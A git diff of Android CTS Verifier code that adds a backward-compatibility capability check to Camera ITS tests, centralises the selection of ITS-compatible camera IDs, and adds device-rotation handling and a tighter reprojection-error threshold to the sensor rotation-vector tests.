Snap for 5526913 from 81bfc3a29e561e0e115c5534de52069dc26bbdc5 to pi-qpr3-b-release

Change-Id: I6314a530c398176ca251b28b5d68cb089d4aa17f
diff --git a/apps/CameraITS/pymodules/its/caps.py b/apps/CameraITS/pymodules/its/caps.py
index 61ec7e1..d75532b 100644
--- a/apps/CameraITS/pymodules/its/caps.py
+++ b/apps/CameraITS/pymodules/its/caps.py
@@ -513,6 +513,19 @@
     return False
 
 
+def backward_compatible(props):
+    """Returns whether a device supports BACKWARD_COMPATIBLE.
+
+    Args:
+        props: Camera properties object.
+
+    Returns:
+        Boolean.
+    """
+    return props.has_key("android.request.availableCapabilities") and \
+              0 in props["android.request.availableCapabilities"]
+
+
 class __UnitTest(unittest.TestCase):
     """Run a suite of unit tests on this module.
     """
diff --git a/apps/CameraITS/tests/scene0/test_burst_capture.py b/apps/CameraITS/tests/scene0/test_burst_capture.py
index f915a6a..c573584 100644
--- a/apps/CameraITS/tests/scene0/test_burst_capture.py
+++ b/apps/CameraITS/tests/scene0/test_burst_capture.py
@@ -12,13 +12,17 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-import its.image
-import its.device
-import its.objects
 import os.path
 
+import its.caps
+import its.device
+import its.image
+import its.objects
+
+
 def main():
     """Test capture a burst of full size images is fast enough to not timeout.
+
        This test verify that entire capture pipeline can keep up the speed
        of fullsize capture + CPU read for at least some time.
     """
@@ -27,6 +31,7 @@
 
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
+        its.caps.skip_unless(its.caps.backward_compatible(props))
         req = its.objects.auto_capture_request()
         caps = cam.do_capture([req]*NUM_TEST_FRAMES)
 
diff --git a/apps/CameraITS/tests/scene0/test_camera_properties.py b/apps/CameraITS/tests/scene0/test_camera_properties.py
index eb638f0..dbd528d 100644
--- a/apps/CameraITS/tests/scene0/test_camera_properties.py
+++ b/apps/CameraITS/tests/scene0/test_camera_properties.py
@@ -26,8 +26,6 @@
 
         pprint.pprint(props)
 
-        its.caps.skip_unless(its.caps.manual_sensor(props))
-
         # Test that a handful of required keys are present.
         assert(props.has_key('android.sensor.info.sensitivityRange'))
         assert(props.has_key('android.sensor.orientation'))
diff --git a/apps/CameraITS/tests/scene0/test_metadata.py b/apps/CameraITS/tests/scene0/test_metadata.py
index 48ce28e..b8949b1 100644
--- a/apps/CameraITS/tests/scene0/test_metadata.py
+++ b/apps/CameraITS/tests/scene0/test_metadata.py
@@ -31,6 +31,7 @@
         # Arbitrary capture request exposure values; image content is not
         # important for this test, only the metadata.
         props = cam.get_camera_properties()
+        its.caps.skip_unless(its.caps.backward_compatible(props))
         auto_req = its.objects.auto_capture_request()
         cap = cam.do_capture(auto_req)
         md = cap["metadata"]
diff --git a/apps/CameraITS/tests/scene0/test_unified_timestamps.py b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
index ae4583f..5a9228e 100644
--- a/apps/CameraITS/tests/scene0/test_unified_timestamps.py
+++ b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
@@ -25,7 +25,8 @@
         props = cam.get_camera_properties()
 
         # Only run test if the appropriate caps are claimed.
-        its.caps.skip_unless(its.caps.sensor_fusion(props))
+        its.caps.skip_unless(its.caps.sensor_fusion(props) and
+                             its.caps.backward_compatible(props))
 
         # Get the timestamp of a captured image.
         if its.caps.manual_sensor(props):
diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
index 92dfd0d..a46d54c 100644
--- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
@@ -334,8 +334,8 @@
                 h_iter = size_iter[1]
                 # Skip testing same format/size combination
                 # ITS does not handle that properly now
-                if (dual_target and w_iter == size_cmpr[0]
-                            and h_iter == size_cmpr[1]
+                if (dual_target
+                            and w_iter*h_iter == size_cmpr[0]*size_cmpr[1]
                             and fmt_iter == fmt_cmpr):
                     continue
                 out_surface = [{"width": w_iter,
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 265fc33..fbf7bcd 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -448,6 +448,7 @@
         fmt = {"format": "yuv", "width": w, "height": h}
         s, e, _, _, _ = cam.do_3a(get_results=True, do_af=False)
         req = its.objects.manual_capture_request(s, e)
+        its.objects.turn_slow_filters_off(props, req)
         req["android.lens.focusDistance"] = 1 / (CHART_DISTANCE * CM_TO_M)
         req["android.control.aeTargetFpsRange"] = [fps, fps]
         req["android.sensor.frameDuration"] = int(1000.0/fps * MSEC_TO_NSEC)
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index d0024c5..b6610a6 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -1304,9 +1304,8 @@
     <string name="no_camera_manager">
         No camera manager exists!  This test device is in a bad state.
     </string>
-    <string name="all_legacy_devices">
-        All cameras on this device are LEGACY mode only - ITS tests are only required on LIMITED
-        or better devices.  Pass.
+    <string name="all_exempted_devices">
+        All cameras on this device are exempted from ITS - Pass.
     </string>
     <string name="its_test_passed">All Camera ITS tests passed.  Pass button enabled!</string>
     <string name="its_test_failed">Some Camera ITS tests failed.</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index db45452..fe1c0ed 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -346,17 +346,16 @@
         }
     }
 
-    public void openCameraDevice(int cameraId) throws ItsException {
-        Logt.i(TAG, String.format("Opening camera %d", cameraId));
+    public void openCameraDevice(String cameraId) throws ItsException {
+        Logt.i(TAG, String.format("Opening camera %s", cameraId));
 
-        String[] devices;
         try {
-            devices = mCameraManager.getCameraIdList();
-            if (devices == null || devices.length == 0) {
-                throw new ItsException("No camera devices");
-            }
             if (mMemoryQuota == -1) {
                 // Initialize memory quota on this device
+                List<String> devices = ItsUtils.getItsCompatibleCameraIds(mCameraManager);
+                if (devices.size() == 0) {
+                    throw new ItsException("No camera devices");
+                }
                 for (String camId : devices) {
                     CameraCharacteristics chars =  mCameraManager.getCameraCharacteristics(camId);
                     Size maxYuvSize = ItsUtils.getMaxOutputSize(
@@ -373,10 +372,8 @@
         }
 
         try {
-            mCamera = mBlockingCameraManager.openCamera(devices[cameraId],
-                    mCameraListener, mCameraHandler);
-            mCameraCharacteristics = mCameraManager.getCameraCharacteristics(
-                    devices[cameraId]);
+            mCamera = mBlockingCameraManager.openCamera(cameraId, mCameraListener, mCameraHandler);
+            mCameraCharacteristics = mCameraManager.getCameraCharacteristics(cameraId);
             mSocketQueueQuota = new Semaphore(mMemoryQuota, true);
         } catch (CameraAccessException e) {
             throw new ItsException("Failed to open camera", e);
@@ -646,7 +643,7 @@
                 JSONObject cmdObj = new JSONObject(cmd);
                 Logt.i(TAG, "Start processing command" + cmdObj.getString("cmdName"));
                 if ("open".equals(cmdObj.getString("cmdName"))) {
-                    int cameraId = cmdObj.getInt("cameraId");
+                    String cameraId = cmdObj.getString("cameraId");
                     openCameraDevice(cameraId);
                 } else if ("close".equals(cmdObj.getString("cmdName"))) {
                     closeCameraDevice();
@@ -901,6 +898,9 @@
     private void doGetPropsById(JSONObject params) throws ItsException {
         String[] devices;
         try {
+            // Intentionally not using ItsUtils.getItsCompatibleCameraIds here so it's possible to
+            // write some simple script to query camera characteristics even for devices exempted
+            // from ITS today.
             devices = mCameraManager.getCameraIdList();
             if (devices == null || devices.length == 0) {
                 throw new ItsException("No camera devices");
@@ -927,34 +927,21 @@
     }
 
     private void doGetCameraIds() throws ItsException {
-        String[] devices;
-        try {
-            devices = mCameraManager.getCameraIdList();
-            if (devices == null || devices.length == 0) {
-                throw new ItsException("No camera devices");
-            }
-        } catch (CameraAccessException e) {
-            throw new ItsException("Failed to get device ID list", e);
+        List<String> devices = ItsUtils.getItsCompatibleCameraIds(mCameraManager);
+        if (devices.size() == 0) {
+            throw new ItsException("No camera devices");
         }
 
         try {
             JSONObject obj = new JSONObject();
             JSONArray array = new JSONArray();
             for (String id : devices) {
-                CameraCharacteristics characteristics = mCameraManager.getCameraCharacteristics(id);
-                // Only supply camera Id for non-legacy cameras since legacy camera does not
-                // support ITS
-                if (characteristics.get(CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL) !=
-                        CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY) {
-                    array.put(id);
-                }
+                array.put(id);
             }
             obj.put("cameraIdArray", array);
             mSocketRunnableObj.sendResponse("cameraIds", obj);
         } catch (org.json.JSONException e) {
             throw new ItsException("JSON error: ", e);
-        } catch (android.hardware.camera2.CameraAccessException e) {
-            throw new ItsException("Access error: ", e);
         }
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
index d6feb51..fd62ed2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
@@ -21,7 +21,6 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.res.Configuration;
-import android.hardware.camera2.CameraAccessException;
 import android.hardware.camera2.CameraCharacteristics;
 import android.hardware.camera2.CameraManager;
 import android.os.Bundle;
@@ -80,7 +79,7 @@
     private boolean mReceiverRegistered = false;
 
     // Initialized in onCreate
-    ArrayList<String> mToBeTestedCameraIds = null;
+    List<String> mToBeTestedCameraIds = null;
 
     // Scenes
     private static final ArrayList<String> mSceneIds = new ArrayList<String> () { {
@@ -333,32 +332,20 @@
         // Hide the test if all camera devices are legacy
         CameraManager manager = (CameraManager) this.getSystemService(Context.CAMERA_SERVICE);
         try {
-            String[] cameraIds = manager.getCameraIdList();
-            mToBeTestedCameraIds = new ArrayList<String>();
-            for (String id : cameraIds) {
-                CameraCharacteristics characteristics = manager.getCameraCharacteristics(id);
-                int hwLevel = characteristics.get(
-                        CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL);
-                if (hwLevel
-                        != CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY &&
-                        hwLevel
-                        != CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_EXTERNAL) {
-                    mToBeTestedCameraIds.add(id);
-                }
-            }
-            if (mToBeTestedCameraIds.size() == 0) {
-                showToast(R.string.all_legacy_devices);
-                ItsTestActivity.this.getReportLog().setSummary(
-                        "PASS: all cameras on this device are LEGACY or EXTERNAL"
-                        , 1.0, ResultType.NEUTRAL, ResultUnit.NONE);
-                setTestResultAndFinish(true);
-            }
-        } catch (CameraAccessException e) {
+            mToBeTestedCameraIds = ItsUtils.getItsCompatibleCameraIds(manager);
+        } catch (ItsException e) {
             Toast.makeText(ItsTestActivity.this,
                     "Received error from camera service while checking device capabilities: "
                             + e, Toast.LENGTH_SHORT).show();
         }
 
+        if (mToBeTestedCameraIds.size() == 0) {
+            showToast(R.string.all_exempted_devices);
+            ItsTestActivity.this.getReportLog().setSummary(
+                    "PASS: all cameras on this device are exempted from ITS"
+                    , 1.0, ResultType.NEUTRAL, ResultUnit.NONE);
+            setTestResultAndFinish(true);
+        }
         super.onCreate(savedInstanceState);
         getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
index 65e4970..41ae288 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
@@ -19,8 +19,10 @@
 import android.content.Context;
 import android.graphics.ImageFormat;
 import android.graphics.Rect;
+import android.hardware.camera2.CameraAccessException;
 import android.hardware.camera2.CameraDevice;
 import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraManager;
 import android.hardware.camera2.CaptureRequest;
 import android.hardware.camera2.CaptureResult;
 import android.hardware.camera2.params.MeteringRectangle;
@@ -296,4 +298,47 @@
                 return false;
         }
     }
+
+    public static List<String> getItsCompatibleCameraIds(CameraManager manager)
+            throws ItsException {
+        if (manager == null) {
+            throw new IllegalArgumentException("CameraManager is null");
+        }
+
+        ArrayList<String> outList = new ArrayList<String>();
+        try {
+            String[] cameraIds = manager.getCameraIdList();
+            for (String id : cameraIds) {
+                CameraCharacteristics characteristics = manager.getCameraCharacteristics(id);
+                int[] actualCapabilities = characteristics.get(
+                        CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
+                boolean haveBC = false;
+                final int BACKWARD_COMPAT =
+                        CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE;
+                for (int capability : actualCapabilities) {
+                    if (capability == BACKWARD_COMPAT) {
+                        haveBC = true;
+                        break;
+                    }
+                }
+
+                // Skip devices that does not support BACKWARD_COMPATIBLE capability
+                if (!haveBC) continue;
+
+                int hwLevel = characteristics.get(
+                        CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL);
+                if (hwLevel == CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY ||
+                        hwLevel == CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_EXTERNAL) {
+                    // Skip LEGACY and EXTERNAL devices
+                    continue;
+                }
+                outList.add(id);
+            }
+        } catch (CameraAccessException e) {
+            Logt.e(TAG,
+                    "Received error from camera service while checking device capabilities: " + e);
+            throw new ItsException("Failed to get device ID list", e);
+        }
+        return outList;
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MotionIndicatorView.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MotionIndicatorView.java
index 14784dd..4160572 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MotionIndicatorView.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MotionIndicatorView.java
@@ -26,6 +26,7 @@
 import android.hardware.SensorManager;
 import android.util.AttributeSet;
 import android.util.Log;
+import android.view.Surface;
 import android.view.View;
 
 /**
@@ -89,6 +90,8 @@
 
     private boolean mXEnabled, mYEnabled, mZEnabled;
 
+    private boolean mIsDeviceRotated = false;
+
     /**
      * Constructor
      * @param context
@@ -146,6 +149,15 @@
     }
 
     /**
+     * Set the device's current rotation
+     * @param rotation Surface.ROTATION_0, Surface.ROTATION_90, Surface.ROTATION_180, or
+     *                 Surface.ROTATION_270
+     */
+    public void setDeviceRotation(int rotation) {
+        mIsDeviceRotated = (rotation == Surface.ROTATION_90 || rotation == Surface.ROTATION_270);
+    }
+
+    /**
      * Set the active axis for display
      *
      * @param axis AXIS_X, AXIS_Y, AXIS_Z for x, y, z axis indicators, or AXIS_ALL for all three.
@@ -181,16 +193,22 @@
         mXSize = w;
         mYSize = h;
 
-        mZBoundOut = new RectF(w/2-w/2.5f, h/2-w/2.5f, w/2+w/2.5f, h/2+w/2.5f);
+        float halfSideLength = 0.4f * Math.min(w, h);
+        float leftSide = w/2 - halfSideLength;
+        float topSide = h/2 - halfSideLength;
+        float rightSide = w/2 + halfSideLength;
+        float bottomSide = h/2 + halfSideLength;
+
+        mZBoundOut = new RectF(leftSide, topSide, rightSide, bottomSide);
         mZBoundOut2 = new RectF(
-                w/2-w/2.5f-ZRING_CURSOR_ADD, h/2-w/2.5f-ZRING_CURSOR_ADD,
-                w/2+w/2.5f+ZRING_CURSOR_ADD, h/2+w/2.5f+ZRING_CURSOR_ADD);
+                leftSide-ZRING_CURSOR_ADD, topSide-ZRING_CURSOR_ADD,
+                rightSide+ZRING_CURSOR_ADD, bottomSide+ZRING_CURSOR_ADD);
         mZBoundIn = new RectF(
-                w/2-w/2.5f+ZRING_WIDTH, h/2-w/2.5f+ZRING_WIDTH,
-                w/2+w/2.5f-ZRING_WIDTH, h/2+w/2.5f-ZRING_WIDTH);
+                leftSide+ZRING_WIDTH, topSide+ZRING_WIDTH,
+                rightSide-ZRING_WIDTH, bottomSide-ZRING_WIDTH);
         mZBoundIn2 = new RectF(
-                w/2-w/2.5f+ZRING_WIDTH+ZRING_CURSOR_ADD, h/2-w/2.5f+ZRING_WIDTH+ZRING_CURSOR_ADD,
-                w/2+w/2.5f-ZRING_WIDTH-ZRING_CURSOR_ADD, h/2+w/2.5f-ZRING_WIDTH-ZRING_CURSOR_ADD);
+                leftSide+ZRING_WIDTH+ZRING_CURSOR_ADD, topSide+ZRING_WIDTH+ZRING_CURSOR_ADD,
+                rightSide-ZRING_WIDTH-ZRING_CURSOR_ADD, bottomSide-ZRING_WIDTH-ZRING_CURSOR_ADD);
 
         if (LOCAL_LOGV) Log.v(TAG, "New view size = ("+w+", "+h+")");
     }
@@ -209,8 +227,14 @@
         p.setColor(Color.YELLOW);
         canvas.drawRect(10,10, 50, 50, p);
 
-        if (mXEnabled && mXCovered != null) {
-            int xNStep = mXCovered.getNSteps() + 4; // two on each side as a buffer
+        // In order to determine which progress bar to draw, the device's rotation must be accounted
+        // for since the accelerometer rotates with the display.
+        boolean drawX = (mXEnabled && !mIsDeviceRotated) || (mYEnabled && mIsDeviceRotated);
+        boolean drawY = (mYEnabled && !mIsDeviceRotated) || (mXEnabled && mIsDeviceRotated);
+
+        if (drawX && mXCovered != null) {
+            RangeCoveredRegister covered = mIsDeviceRotated ? mYCovered : mXCovered;
+            int xNStep = covered.getNSteps() + 4; // two on each side as a buffer
             int xStepSize = mXSize * 3/4 / xNStep;
             int xLeft = mXSize * 1/8 + (mXSize * 3/4 % xNStep)/2;
 
@@ -219,8 +243,8 @@
                     xLeft+xStepSize*xNStep-1, XBAR_WIDTH+XBAR_MARGIN, mRangePaint);
 
             // covered range
-            for (i=0; i<mXCovered.getNSteps(); ++i) {
-                if (mXCovered.isCovered(i)) {
+            for (i=0; i<covered.getNSteps(); ++i) {
+                if (covered.isCovered(i)) {
                     canvas.drawRect(
                             xLeft+xStepSize*(i+2), XBAR_MARGIN,
                             xLeft+xStepSize*(i+3)-1, XBAR_WIDTH + XBAR_MARGIN,
@@ -235,12 +259,14 @@
                     xLeft+xStepSize*(xNStep-2)+3, XBAR_WIDTH+XBAR_MARGIN, mLimitPaint);
 
             // cursor
-            t = (int)(xLeft+xStepSize*(mXCovered.getLastValue()+2));
+            t = (int)(xLeft+xStepSize*(covered.getLastValue()+2));
             canvas.drawRect(t-4, XBAR_MARGIN-XBAR_CURSOR_ADD, t+3,
                     XBAR_WIDTH+XBAR_MARGIN+XBAR_CURSOR_ADD, mCursorPaint);
         }
-        if (mYEnabled && mYCovered != null) {
-            int yNStep = mYCovered.getNSteps() + 4; // two on each side as a buffer
+
+        if (drawY && mYCovered != null) {
+            RangeCoveredRegister covered = mIsDeviceRotated ? mXCovered : mYCovered;
+            int yNStep = covered.getNSteps() + 4; // two on each side as a buffer
             int yStepSize = mYSize * 3/4 / yNStep;
             int yLeft = mYSize * 1/8 + (mYSize * 3/4 % yNStep)/2;
 
@@ -249,8 +275,8 @@
                     YBAR_WIDTH+YBAR_MARGIN, yLeft+yStepSize*yNStep-1, mRangePaint);
 
             // covered range
-            for (i=0; i<mYCovered.getNSteps(); ++i) {
-                if (mYCovered.isCovered(i)) {
+            for (i=0; i<covered.getNSteps(); ++i) {
+                if (covered.isCovered(i)) {
                     canvas.drawRect(
                             YBAR_MARGIN, yLeft+yStepSize*(i+2),
                             YBAR_WIDTH + YBAR_MARGIN, yLeft+yStepSize*(i+3)-1,
@@ -265,7 +291,7 @@
                     YBAR_WIDTH + YBAR_MARGIN, yLeft + yStepSize * (yNStep - 2) + 3, mLimitPaint);
 
             // cursor
-            t = (int)(yLeft+yStepSize*(mYCovered.getLastValue()+2));
+            t = (int)(yLeft+yStepSize*(covered.getLastValue()+2));
             canvas.drawRect( YBAR_MARGIN-YBAR_CURSOR_ADD, t-4,
                     YBAR_WIDTH+YBAR_MARGIN+YBAR_CURSOR_ADD, t+3, mCursorPaint);
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVCameraPreview.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVCameraPreview.java
index bd463af..10d1865 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVCameraPreview.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVCameraPreview.java
@@ -21,9 +21,11 @@
 import android.hardware.Camera;
 import android.util.AttributeSet;
 import android.util.Log;
+import android.view.Surface;
 import android.view.SurfaceHolder;
 import android.view.SurfaceView;
 import android.view.ViewGroup;
+import android.view.WindowManager;
 
 import java.io.IOException;
 import java.lang.Math;
@@ -36,10 +38,11 @@
     private static final String TAG = "RVCVCameraPreview";
     private static final boolean LOCAL_LOGD = true;
 
+    private Context mContext = null;
     private SurfaceHolder mHolder;
     private Camera mCamera;
-    private float mAspect;
-    private int mRotation;
+    private float mCameraAspectRatio = 0;
+    private int mCameraRotation = 0;
     private boolean mCheckStartTest = false;
     private boolean mPreviewStarted = false;
 
@@ -51,6 +54,7 @@
      */
     public RVCVCameraPreview(Context context) {
         super(context);
+        mContext = context;
         mCamera = null;
         initSurface();
     }
@@ -62,12 +66,13 @@
      */
     public RVCVCameraPreview(Context context, AttributeSet attrs) {
         super(context, attrs);
+        mContext = context;
     }
 
     public void init(Camera camera, float aspectRatio, int rotation)  {
         this.mCamera = camera;
-        mAspect = aspectRatio;
-        mRotation = rotation;
+        mCameraAspectRatio = aspectRatio;
+        mCameraRotation = rotation;
         initSurface();
     }
 
@@ -111,7 +116,11 @@
             // preview surface or camera does not exist
             return;
         }
-        if (adjustLayoutParamsIfNeeded()) {
+
+        int totalRotation = getRequiredRotation();
+        mCamera.setDisplayOrientation(totalRotation);
+
+        if (adjustLayoutParamsIfNeeded(totalRotation)) {
             // Wait on next surfaceChanged() call before proceeding
             Log.d(TAG, "Waiting on surface change before starting preview");
             return;
@@ -127,7 +136,6 @@
         }
         mCheckStartTest = false;
 
-        mCamera.setDisplayOrientation(mRotation);
         try {
             mCamera.setPreviewDisplay(holder);
             mCamera.startPreview();
@@ -142,23 +150,70 @@
     }
 
     /**
+     * Determine the rotation required to display the camera's preview on the screen as large as
+     * possible. This function combines the device's current rotation from its default orientation
+     * and the rotation of the camera.
+     */
+    private int getRequiredRotation() {
+        WindowManager windowManager =
+                (WindowManager)mContext.getSystemService(Context.WINDOW_SERVICE);
+        int deviceRotation = 0;
+        if (windowManager != null) {
+            switch (windowManager.getDefaultDisplay().getRotation()) {
+                case Surface.ROTATION_0:
+                    deviceRotation = 0;
+                    break;
+                case Surface.ROTATION_90:
+                    deviceRotation = 270;
+                    break;
+                case Surface.ROTATION_180:
+                    deviceRotation = 180;
+                    break;
+                case Surface.ROTATION_270:
+                    deviceRotation = 90;
+                    break;
+                default:
+                    deviceRotation = 0;
+                    break;
+            }
+        } else {
+            Log.w(TAG, "Unable to get device rotation, preview may be skewed.");
+        }
+
+        return (mCameraRotation + deviceRotation) % 360;
+    }
+
+    /**
      * Resize the layout to more closely match the desired aspect ratio, if necessary.
      *
      * @return true if we updated the layout params, false if the params look good
      */
-    private boolean adjustLayoutParamsIfNeeded() {
+    private boolean adjustLayoutParamsIfNeeded(int totalRotation) {
+        // Determine the maximum size layout that maintains the camera's preview aspect ratio
+        float cameraAspect = mCameraAspectRatio;
+
+        // Check the camera and device rotation and invert the aspect ratio if the device is not
+        // rotated at 0 or 180 degrees.
+        if (totalRotation % 180 != 0) {
+            // The device is rotated, so the screen should be the inverse of the aspect ratio
+            cameraAspect = 1.0f / mCameraAspectRatio;
+        }
+
+        // Only adjust if there is at least 1% error between the aspects
         ViewGroup.LayoutParams layoutParams = getLayoutParams();
         int curWidth = getWidth();
         int curHeight = getHeight();
-        float curAspect = (float)curHeight / (float)curWidth;
-        float aspectDelta = Math.abs(mAspect - curAspect);
-        if ((aspectDelta / mAspect) >= 0.01) {
-            if (curAspect > mAspect) {
-                layoutParams.height = (int)Math.round(curWidth * mAspect);
+        float curAspect = (float)curWidth / (float)curHeight;
+        float aspectDelta = Math.abs(cameraAspect - curAspect);
+        if ((aspectDelta / cameraAspect) >= 0.01) {
+            if (cameraAspect > curAspect) {
+                // Camera preview is wider than the current layout. Need to shorten the current layout
                 layoutParams.width = curWidth;
+                layoutParams.height = (int)(curWidth / cameraAspect);
             } else {
+                // Camera preview taller than the current layout. Need to narrow the current layout
+                layoutParams.width = (int)(curHeight * cameraAspect);
                 layoutParams.height = curHeight;
-                layoutParams.width = (int)Math.round(curHeight / mAspect);
             }
 
             if (layoutParams.height != curHeight || layoutParams.width != curWidth) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java
index 8199736..4f92b64 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java
@@ -33,7 +33,9 @@
 import android.os.Environment;
 import android.util.JsonWriter;
 import android.util.Log;
+import android.view.Surface;
 import android.view.Window;
+import android.view.WindowManager;
 import android.widget.ImageView;
 import android.widget.Toast;
 
@@ -70,6 +72,7 @@
     private RVSensorLogger          mRVSensorLogger;
     private CoverageManager         mCoverManager;
     private CameraContext mCameraContext;
+    private int mDeviceRotation = Surface.ROTATION_0;
 
     public static final int AXIS_NONE = 0;
     public static final int AXIS_ALL = SensorManager.AXIS_X +
@@ -119,6 +122,12 @@
 
         // locate views
         mIndicatorView = (MotionIndicatorView) findViewById(R.id.cam_indicator);
+        WindowManager windowManager =
+                (WindowManager)getSystemService(Context.WINDOW_SERVICE);
+        if (windowManager != null) {
+            mDeviceRotation = windowManager.getDefaultDisplay().getRotation();
+            mIndicatorView.setDeviceRotation(mDeviceRotation);
+        }
 
         initStoragePath();
     }
@@ -224,6 +233,9 @@
 
         if (axis >=SensorManager.AXIS_X && axis <=SensorManager.AXIS_Z) {
             imageView.setImageResource(prompts[axis-1]);
+            if (mDeviceRotation != Surface.ROTATION_0 && mDeviceRotation != Surface.ROTATION_180) {
+                imageView.setRotation(90);
+            }
             mIndicatorView.enableAxis(axis);
             mRVSensorLogger.updateRegister(mCoverManager.getAxis(axis), axis);
             notifyPrompt(axis);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckAnalyzer.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckAnalyzer.java
index 45439a7..c15d2ac 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckAnalyzer.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckAnalyzer.java
@@ -66,7 +66,7 @@
 
     private static final boolean OUTPUT_DEBUG_IMAGE = false;
     private static final double VALID_FRAME_THRESHOLD = 0.8;
-    private static final double REPROJECTION_THRESHOLD_RATIO = 0.03;
+    private static final double REPROJECTION_THRESHOLD_RATIO = 0.01;
     private static final boolean FORCE_CV_ANALYSIS  = false;
     private static final boolean TRACE_VIDEO_ANALYSIS = false;
     private static final double DECIMATION_FPS_TARGET = 15.0;
@@ -880,13 +880,6 @@
             // reproject points to for evaluation of result accuracy of solvePnP
             Calib3d.projectPoints(grid, rvec, tvec, camMat, coeff, reprojCenters);
 
-            // error is evaluated in norm2, which is real error in pixel distance / sqrt(2)
-            double error = Core.norm(centers, reprojCenters, Core.NORM_L2);
-
-            if (LOCAL_LOGV) {
-                Log.v(TAG, "Found attitude, re-projection error = " + error);
-            }
-
             // Calculate the average distance between opposite corners of the pattern in pixels
             Point[] centerPoints = centers.toArray();
             Point bottomLeftPos = centerPoints[0];
@@ -896,10 +889,27 @@
             double avgPixelDist = (getDistanceBetweenPoints(bottomLeftPos, topRightPos)
                     + getDistanceBetweenPoints(bottomRightPos, topLeftPos)) / 2;
 
+            // Calculate the average pixel error between the circle centers from the video and the
+            // reprojected circle centers based on the estimated camera position. The error provides
+            // a way to estimate how accurate the assumed test device's position is. If the error
+            // is high, then the frame should be discarded to prevent an inaccurate test device's
+            // position from being compared against the rotation vector sample at that time.
+            Point[] reprojectedPointsArray = reprojCenters.toArray();
+            double avgCenterError = 0.0;
+            for (int curCenter = 0; curCenter < reprojectedPointsArray.length; curCenter++) {
+                avgCenterError += getDistanceBetweenPoints(
+                        reprojectedPointsArray[curCenter], centerPoints[curCenter]);
+            }
+            avgCenterError /= reprojectedPointsArray.length;
+
+            if (LOCAL_LOGV) {
+                Log.v(TAG, "Found attitude, re-projection error = " + avgCenterError);
+            }
+
             // if error is reasonable, add it into the results. Use a dynamic threshold based on
             // the pixel distance of opposite corners of the pattern to prevent higher resolution
             // video or the distance between the camera and the test pattern from impacting the test
-            if (error < REPROJECTION_THRESHOLD_RATIO * avgPixelDist) {
+            if (avgCenterError < REPROJECTION_THRESHOLD_RATIO * avgPixelDist) {
                 double [] rv = new double[3];
                 double timestamp;
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckTestActivity.java
